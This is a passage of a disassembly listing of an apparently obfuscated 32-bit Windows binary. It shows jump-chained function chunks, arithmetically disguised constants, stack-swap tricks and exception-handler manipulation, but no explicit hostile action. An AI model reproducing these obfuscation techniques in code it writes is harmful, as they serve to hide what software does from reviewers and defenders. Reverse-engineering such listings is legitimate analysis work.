; START	OF FUNCTION CHUNK FOR sub_428183


loc_424EAA:				; CODE XREF: sub_428183-4E50j
					; sub_428183+4j
		jns	loc_42333E
		push	eax
		push	0
		call	sub_428192
		jmp	loc_428B11
; END OF FUNCTION CHUNK	FOR sub_428183
; ---------------------------------------------------------------------------

locret_424EBD:				; CODE XREF: hjohnhn9:0042611Ej
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424B97


loc_424EBE:				; CODE XREF: sub_424B97+7j
		jmp	loc_42829E
; END OF FUNCTION CHUNK	FOR sub_424B97
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: hjohnhn9:004269F7j
		jz	loc_423D7C

; =============== S U B	R O U T	I N E =======================================



sub_424EC9	proc near		; CODE XREF: sub_424C5F+6p

; FUNCTION CHUNK AT 004262D5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427298 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427E0A SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00428A28 SIZE 00000012 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	eax
		jmp	loc_4262D5
sub_424EC9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D9D


loc_424ED3:				; CODE XREF: sub_427D9D+11j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		setz	al


loc_424EE0:				; CODE XREF: hjohnhn9:00428DCCj
		call	sub_42392D
		pop	ecx
		shl	eax, 7
		mov	edx, [ebp+8]


loc_424EEC:				; CODE XREF: sub_424D99:loc_423EF4j
		jmp	loc_42838D
; END OF FUNCTION CHUNK	FOR sub_427D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42851A


loc_424EF1:				; CODE XREF: sub_42851A-3699j
		push	0DD8D7CECh
		pop	ebx
		xor	ebx, 56A764BCh
		and	ebx, 0A66DF4EDh
		jnz	loc_427EFB
; END OF FUNCTION CHUNK	FOR sub_42851A
; START	OF FUNCTION CHUNK FOR sub_424631


loc_424F09:				; CODE XREF: sub_424631+318Fj
		jmp	loc_427DB3
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
		popf
		or	edx, 6DDE1E3h
		jmp	loc_424CAF
; ---------------------------------------------------------------------------


loc_424F1A:				; CODE XREF: hjohnhn9:00425D22j
		jbe	locret_426747

; =============== S U B	R O U T	I N E =======================================



sub_424F20	proc near		; CODE XREF: hjohnhn9:00423DC2p
		xchg	edx, [esp+0]
		pop	edx
		or	dword ptr [eax-8], 8
sub_424F20	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_424631


loc_424F28:				; CODE XREF: sub_424631-1235j
					; hjohnhn9:loc_423DAFj	...
		jno	loc_4270A1
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jz	loc_4249A3


loc_424F3E:				; CODE XREF: hjohnhn9:loc_426C41j
		jmp	loc_42708C
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_424F43:				; CODE XREF: sub_42304F+3C09j
		call	sub_427792


loc_424F48:				; CODE XREF: sub_424AE3+11j
		jmp	loc_428AA2
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424698


loc_424F4D:				; CODE XREF: sub_424698+CBj
		jmp	loc_4238FE
; END OF FUNCTION CHUNK	FOR sub_424698
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42442F


loc_424F52:				; CODE XREF: sub_42442F+Ej
		jmp	sub_42897A
; END OF FUNCTION CHUNK	FOR sub_42442F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4236A7


loc_424F57:				; CODE XREF: sub_4236A7-3E4j
		jmp	loc_429027
; END OF FUNCTION CHUNK	FOR sub_4236A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42897B


loc_424F5C:				; CODE XREF: sub_42897B:loc_42898Aj
		pop	esi
		rol	esi, 0Bh
		add	esi, 11DFE9BEh
		add	esi, ebp
		add	esi, 921074C9h
		mov	[esi], eax
		pop	esi
		jmp	loc_424A1D
; END OF FUNCTION CHUNK	FOR sub_42897B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_424F76:				; CODE XREF: hjohnhn9:00424A87j
					; sub_427C9B-1B1Dj
		push	1388h
		push	offset loc_42766A
		jmp	loc_426870
; END OF FUNCTION CHUNK	FOR sub_427C9B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_424F86:				; CODE XREF: sub_424161+4473j
		jmp	loc_423ECC
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F65


loc_424F8B:				; CODE XREF: sub_423F65+B33j
		ja	loc_4289BB


loc_424F91:				; CODE XREF: sub_423F65:loc_4275EEj
		push	0A06EE95Dh
		pop	eax
		sub	eax, 0DA827FA8h
		add	eax, 4B148C18h
		or	eax, 71537494h
		add	eax, 3DACEB06h
		jmp	loc_427550
; END OF FUNCTION CHUNK	FOR sub_423F65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42363F


loc_424FB4:				; CODE XREF: sub_42363F+3E60j
		and	ebx, ecx


loc_424FB6:				; CODE XREF: sub_42363F:loc_424860j
		call	sub_424877
		mov	edx, 0F2B89A19h
		call	sub_4279ED
		push	ebx
		push	eax
		pop	ebx
		xchg	ebx, [esp+8+var_8]
		jmp	loc_4265C3
; END OF FUNCTION CHUNK	FOR sub_42363F
; ---------------------------------------------------------------------------
		mov	[eax], ecx
		sbb	ecx, 0E452135Dh
		jmp	sub_4280D2
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428E98


loc_424FDE:				; CODE XREF: sub_428E98-3FBj
		jmp	nullsub_89
; END OF FUNCTION CHUNK	FOR sub_428E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423BC3


loc_424FE3:				; CODE XREF: sub_423BC3+253Aj
		jmp	loc_428C84
; END OF FUNCTION CHUNK	FOR sub_423BC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427345


loc_424FE8:				; CODE XREF: sub_427345-3DB9j
		jmp	nullsub_112
; END OF FUNCTION CHUNK	FOR sub_427345
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, ebp
		xchg	edi, [esp]
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		xchg	edi, [esp]
		jmp	loc_4268B3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424698


loc_425001:				; CODE XREF: sub_424698:loc_423928j
		xchg	ebx, [esp+0]
		call	sub_42345B
		retn
; END OF FUNCTION CHUNK	FOR sub_424698
; ---------------------------------------------------------------------------


loc_42500A:				; CODE XREF: hjohnhn9:0042796Bj
		jmp	loc_4232F7
; ---------------------------------------------------------------------------
		push	0E0FE72Bh
		pop	eax
		and	eax, 9D4E0989h
		xor	eax, 4D20C620h
		rol	eax, 1Ch
		jmp	loc_424B11

; =============== S U B	R O U T	I N E =======================================



sub_425029	proc near		; CODE XREF: hjohnhn9:0042622Fj
					; sub_427F90+512p

; FUNCTION CHUNK AT 00423AE9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00426AD1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004270BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042712D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042737B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428244 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428823 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00428999 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		cmp	byte ptr [eax],	0
		jnz	loc_42712D
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		shl	dword ptr [ebp-8], 8


loc_425040:				; CODE XREF: sub_424631:loc_4249B5j
					; sub_425029:loc_427135j
		jns	loc_426AD1
		jmp	loc_428244
sub_425029	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FFE2D986h, 0E6D8E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263E3


loc_425056:				; CODE XREF: sub_4263E3+2637j
		jge	loc_427E45
		ror	ebp, 1Eh
		cmp	ecx, edx
		jmp	loc_426C9B
; END OF FUNCTION CHUNK	FOR sub_4263E3
; ---------------------------------------------------------------------------


loc_425066:				; CODE XREF: hjohnhn9:loc_4261ECj
		jnz	loc_425CE7
		jmp	loc_427989
; ---------------------------------------------------------------------------


loc_425071:				; DATA XREF: hjohnhn9:loc_427775o
		sub	eax, 0FFFFCA2Ah
; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_425076:				; CODE XREF: sub_427C9B:loc_424496j
					; sub_423CDB+2A9Fj
		jmp	loc_426D2F
; END OF FUNCTION CHUNK	FOR sub_423CDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4279C0


loc_42507B:				; CODE XREF: sub_4279C0-1A58j
		jmp	loc_425E85
; END OF FUNCTION CHUNK	FOR sub_4279C0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 88h,	6, 2Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFCCh
		jmp	loc_423DCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_425091:				; CODE XREF: sub_42466E:loc_42384Cj
		push	0B0A77BC4h
		pop	ebx
		or	ebx, 86A635F3h
		cmp	ebx, 0E442EBFh
		jmp	loc_427DC7
; END OF FUNCTION CHUNK	FOR sub_42466E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263E3


loc_4250A8:				; CODE XREF: sub_4263E3+1C0Dj
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+4+var_4]
		retn
; END OF FUNCTION CHUNK	FOR sub_4263E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4246DB


loc_4250AF:				; CODE XREF: sub_4246DB+Dj
		jmp	nullsub_11
; END OF FUNCTION CHUNK	FOR sub_4246DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_4250B4:				; CODE XREF: sub_423B05-8E1j
		mov	eax, [ebp-8]
		call	sub_424771
		jmp	loc_4263DE
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------


loc_4250C1:				; CODE XREF: hjohnhn9:00426DE5j
		xchg	ebx, edi

; =============== S U B	R O U T	I N E =======================================



sub_4250C3	proc near		; CODE XREF: sub_423CDB+2B29p

; FUNCTION CHUNK AT 00428D2E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428F58 SIZE 00000014 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	[ebp-0Ch], eax
		jmp	loc_428D2E
sub_4250C3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426211


loc_4250CF:				; CODE XREF: sub_426211:loc_423241j
		jz	loc_424526
; END OF FUNCTION CHUNK	FOR sub_426211
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_4250D5:				; CODE XREF: sub_426A78-385Bj
		jmp	loc_428EDE
; END OF FUNCTION CHUNK	FOR sub_426A78
; ---------------------------------------------------------------------------
		add	ebp, 0E99035BCh
		xchg	ebx, [ecx]
		mov	[edx], edi
		jmp	loc_424526
; ---------------------------------------------------------------------------
		popf
		jmp	sub_425CB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_4250EF:				; CODE XREF: sub_426A78:loc_427707j
		or	eax, eax
		jnz	loc_42377B
		jmp	loc_428994
; END OF FUNCTION CHUNK	FOR sub_426A78

; =============== S U B	R O U T	I N E =======================================



sub_4250FC	proc near		; DATA XREF: sub_4287BF-5122o

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00423114 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00423361 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004234A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424D11 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004268DB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426912 SIZE 00000012 BYTES

		cmp	dword ptr [ebp-8], 0
		jle	loc_4268DB
		mov	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax


loc_42510D:				; CODE XREF: hjohnhn9:loc_426E86j
					; sub_4287BF-157Ej
		mov	eax, [ebp-8]
		cdq
		jmp	loc_4234A7
sub_4250FC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jo	loc_424D3B
		jmp	loc_427060
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D6A


loc_425121:				; CODE XREF: sub_427D6A:loc_4231A3j
		xor	edi, 6F7E9CD9h
		or	edi, 0F497BCCDh
		add	edi, 98A81ABh
		popf
		xchg	edi, [esp-4+arg_0]
		jmp	loc_42681D
; END OF FUNCTION CHUNK	FOR sub_427D6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426F5A


loc_42513C:				; CODE XREF: sub_426F5A:loc_426A0Ej
		jz	loc_423E9B
		jmp	loc_427B8D
; END OF FUNCTION CHUNK	FOR sub_426F5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424335


loc_425147:				; CODE XREF: sub_424335:loc_428723j
		call	sub_4238CC


loc_42514C:				; CODE XREF: sub_4260BD+1662j
					; sub_4278DC:loc_428571j
		add	ecx, 88425BFDh
		mov	[ecx], eax
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_424335
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427852


loc_425156:				; CODE XREF: sub_427852+16A3j
		jmp	loc_427F82
; END OF FUNCTION CHUNK	FOR sub_427852
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278DC


loc_42515B:				; CODE XREF: sub_4278DC:loc_42808Fj
		rol	eax, 0Bh
		push	eax
		jmp	loc_42438A
; END OF FUNCTION CHUNK	FOR sub_4278DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_425164:				; CODE XREF: sub_424631-754j
					; sub_424631:loc_428E16j
		or	[edx-8], eax
		jmp	loc_424F28
; ---------------------------------------------------------------------------


loc_42516C:				; CODE XREF: sub_424631-74Bj
					; sub_424631+1FF2j
		cmp	dword ptr [ebp-10h], 1
		jnz	loc_425240
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		or	eax, 8
		or	eax, 10h
		jmp	loc_428C44
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_425187:				; CODE XREF: sub_426A78:loc_428994j
		jz	loc_4289DD
		jmp	loc_427CB9
; END OF FUNCTION CHUNK	FOR sub_426A78
; ---------------------------------------------------------------------------
		mov	[ebp-8], eax
		push	esi
		push	2CB06042h
		pop	esi
		xor	esi, 0E83D6BF8h
		jmp	loc_4260EA
; ---------------------------------------------------------------------------


loc_4251A7:				; CODE XREF: hjohnhn9:004246D6j
		jl	loc_428DA6
		jmp	loc_425B52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_4251B2:				; CODE XREF: sub_424161:loc_426C7Fj
					; sub_424161+2B35j
		add	eax, 14A21851h
		xchg	eax, [esp+0]
		pushf
		push	33B0E27Ah
		pop	eax
		sub	eax, 0C07AC534h
		test	eax, 800h
		jmp	loc_42457E
; END OF FUNCTION CHUNK	FOR sub_424161

; =============== S U B	R O U T	I N E =======================================



sub_4251D3	proc near		; DATA XREF: sub_424354+3o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp+4+var_4]
		mov	esp, ebp
		pop	ebp
		call	sub_4264CF


loc_4251E1:				; CODE XREF: sub_4275F9+1Bj
		jmp	nullsub_12
sub_4251D3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_4251E6:				; CODE XREF: sub_4262C5-2E55j
		jmp	sub_427F43
; END OF FUNCTION CHUNK	FOR sub_4262C5

; =============== S U B	R O U T	I N E =======================================



sub_4251EB	proc near		; DATA XREF: hjohnhn9:0042468Eo

; FUNCTION CHUNK AT 004232D1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00425FDC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004283BA SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		mov	eax, ecx
		pop	ecx
		and	eax, 1FC491DEh
		rol	eax, 5
		test	eax, 200000h
		jmp	loc_4283BA
sub_4251EB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_425205:				; CODE XREF: sub_42325E+3B97j
		ja	loc_42314E


loc_42520B:				; CODE XREF: sub_42325E:loc_423A82j
		call	sub_424877
		mov	edx, 0BB931B55h


loc_425215:				; CODE XREF: sub_42363F:loc_427491j
		push	ebx
		push	0DBB46803h
		jmp	loc_427535
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F65


loc_425220:				; CODE XREF: sub_423F65+7j
		mov	eax, [ebp-4]
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		push	eax
		push	0FBB90297h
		pop	eax
		jmp	loc_426C64
; END OF FUNCTION CHUNK	FOR sub_423F65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_425235:				; CODE XREF: sub_424631:loc_428C44j
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_424F28
; ---------------------------------------------------------------------------


loc_425240:				; CODE XREF: sub_424631+B3Fj
		cmp	dword ptr [ebp-10h], 2
		jnz	loc_424F28
		mov	eax, [ebp+8]
		jmp	loc_42692F
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_425252:				; CODE XREF: sub_423B05:loc_428C49j
		call	sub_42645D


loc_425257:				; DATA XREF: sub_423F77:loc_423F91o
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+8]
		jmp	loc_423BA1
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------
		shl	eax, 12h
		jmp	sub_427810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_425270:				; CODE XREF: sub_426354:loc_425E3Aj
		add	ecx, 93576428h
		rol	ecx, 1Eh
		add	ecx, 0CD535342h
		call	sub_428B28
; END OF FUNCTION CHUNK	FOR sub_426354
; START	OF FUNCTION CHUNK FOR sub_426B29


loc_425284:				; CODE XREF: sub_426B29+1j
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-8], 0
		jnz	loc_427D8E
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		jmp	loc_427D8E
; END OF FUNCTION CHUNK	FOR sub_426B29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F65


loc_4252A4:				; CODE XREF: sub_423F65+368Fj
		adc	esi, 6C713FDFh
		jmp	loc_424A92
; END OF FUNCTION CHUNK	FOR sub_423F65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427792


loc_4252AF:				; CODE XREF: sub_427792+Bj
		or	ecx, ecx
		jz	loc_4273B2
		push	offset sub_42304F
		jmp	nullsub_28
; END OF FUNCTION CHUNK	FOR sub_427792
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		dw 2FFAh
dword_4252C4	dd 0CE7006EFh		; DATA XREF: sub_427324:loc_4279D7w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428477


loc_4252C8:				; CODE XREF: sub_428477:loc_4287BAj
		jmp	loc_4239D0
; END OF FUNCTION CHUNK	FOR sub_428477
; ---------------------------------------------------------------------------
		db 29h,	4Fh, 29h
dword_4252D0	dd 77E75CB5h		; DATA XREF: sub_423B05:loc_423505w
					; hjohnhn9:00426E1Cr ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42873F


loc_4252D4:				; CODE XREF: sub_42873F-54E6j
		jmp	loc_427021
; END OF FUNCTION CHUNK	FOR sub_42873F
; ---------------------------------------------------------------------------
		db 28h,	18h, 41h
dword_4252DC	dd 4 dup(2), 0C0h, 40h,	2 dup(1), 4 dup(2), 0C0h, 40h
					; DATA XREF: hjohnhn9:004237C3r
					; sub_426354-15E1r ...
		dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h
		dd 40h,	2 dup(1), 4 dup(2), 0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 401h, 4 dup(2), 0C0h, 40h, 0
		dd 23h dup(1), 2 dup(2), 4 dup(0)
		dd 40h,	42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h
		dd 42h,	2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1)
		dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h)
		dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h
		dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h)
		dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h
		dd 0A00h, 60h, 1A00h, 4	dup(1),	0
		dd 1, 2	dup(0)
		dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2)
dword_4256DC	dd 2			; DATA XREF: sub_426354-526r
		dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h)
		dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h)
		dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h)
		dd 3 dup(1), 2,	1C2h, 3	dup(2),	3 dup(1), 2, 1C2h, 0Bh dup(2)
		dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2)
		dd 1, 2, 2 dup(1), 2 dup(2), 1,	3 dup(2), 1, 2,	1, 2 dup(2)
		dd 2 dup(1), 2,	2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2
		dd 1, 3	dup(2),	1, 2, 2	dup(1),	3 dup(2), 1, 3 dup(2)
		dd 1, 66EE9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_425AE1:				; CODE XREF: sub_425BD2+1358j
		jmp	loc_429008
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
		dw 21B2h
dword_425AE8	dd 77EB36A5h		; DATA XREF: sub_426D17:loc_4234F1w
					; hjohnhn9:004237A4w
dword_425AEC	dd 0			; DATA XREF: hjohnhn9:loc_424300o
					; sub_427A58+7o ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_425AF0:				; CODE XREF: sub_427C9B+8Fj
		or	ecx, 4D6C3C87h
		jnp	loc_426AD7


loc_425AFC:				; CODE XREF: sub_426D02:loc_427458j
		lea	edx, [ebp-14h]
		mov	eax, offset dword_428AF4
		call	sub_427AEB
		jmp	loc_42451C
; END OF FUNCTION CHUNK	FOR sub_427C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_425B0E:				; CODE XREF: sub_424631+3B11j
		jz	loc_428B61
		jmp	loc_428BE3
; END OF FUNCTION CHUNK	FOR sub_424631

; =============== S U B	R O U T	I N E =======================================



sub_425B19	proc near		; CODE XREF: sub_427C9B:loc_427CE0p

; FUNCTION CHUNK AT 00426A29 SIZE 00000002 BYTES

		push	ebx
		push	ecx
		call	sub_426A30
		mov	esp, [esp+8]


loc_425B24:				; CODE XREF: sub_426E8C-25B1j
					; sub_426E8C-25A6j ...
		xor	eax, eax


loc_425B26:				; CODE XREF: sub_427032-7DEj
		pop	large dword ptr	fs:0
		pop	edx
		pop	ecx
		jmp	loc_426A29
sub_425B19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425B34	proc near		; DATA XREF: sub_426354+2863o
		add	edx, 30h
		mov	eax, [ebp-10h]
		mov	[ebp+eax-20h], dl
		call	sub_426523


loc_425B43:				; CODE XREF: sub_426D02+75Cj
		jmp	loc_427D24
sub_425B34	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BF2


loc_425B48:				; CODE XREF: sub_425BF2:loc_427266j
		mov	[ecx], ebx
		xchg	esi, [edx]
		jmp	loc_4290BA
; END OF FUNCTION CHUNK	FOR sub_425BF2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_425B52:				; CODE XREF: hjohnhn9:004251ADj
		jmp	loc_423591
; ---------------------------------------------------------------------------


loc_425B57:				; CODE XREF: hjohnhn9:00428227j
		pop	esi
		mov	eax, ds:dword_428394
		or	eax, eax
		jnz	loc_4270B6
		jmp	loc_42886C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426475


loc_425B6B:				; CODE XREF: sub_426475-32A6j
		push	esi
		pop	ebp
		adc	ebp, 815C8186h
		xchg	eax, ebx


loc_425B75:				; CODE XREF: sub_426475:loc_4231C3j
		xor	ecx, 2A87C29Dh
		add	ecx, 0DE0DEAC2h
		call	sub_4280D2
; END OF FUNCTION CHUNK	FOR sub_426475
; START	OF FUNCTION CHUNK FOR sub_428CC9


loc_425B86:				; CODE XREF: sub_428CC9-4E9Ej
		add	eax, 0B9CCE796h
		xor	eax, 0F605D27Eh
		call	sub_426961
; END OF FUNCTION CHUNK	FOR sub_428CC9
; START	OF FUNCTION CHUNK FOR sub_4284CB


loc_425B97:				; CODE XREF: sub_4284CB+1Dj
		jmp	loc_427FBA
; END OF FUNCTION CHUNK	FOR sub_4284CB
; ---------------------------------------------------------------------------
		push	ecx
		jmp	loc_423556
; ---------------------------------------------------------------------------


loc_425BA2:				; DATA XREF: sub_424631+378Bo
		push	eax
		cmp	dword ptr [ebp-14h], 5
		setz	al
		call	sub_42392D
		pop	ecx
		shl	eax, 3
		jmp	loc_4249BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_425BB8:				; CODE XREF: hjohnhn9:0042330Cj
					; sub_424161+1F17j ...
		lea	eax, [ebp-14h]
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+0]
		push	4
		jmp	loc_4279DE
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282F8


loc_425BC8:				; CODE XREF: sub_4282F8:loc_426189j
		push	offset loc_42768A
		jmp	loc_426A5D
; END OF FUNCTION CHUNK	FOR sub_4282F8

; =============== S U B	R O U T	I N E =======================================



sub_425BD2	proc near		; DATA XREF: sub_42859A-D0Fo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423082 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423F21 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00424266 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424454 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00424517 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042476D SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0042477C SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00424AB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424E86 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00425AE1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425D5B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425F81 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426235 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004265B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004266A1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426EFE SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00427028 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427253 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00427306 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004277E0 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00427881 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427951 SIZE 00000012 BYTES
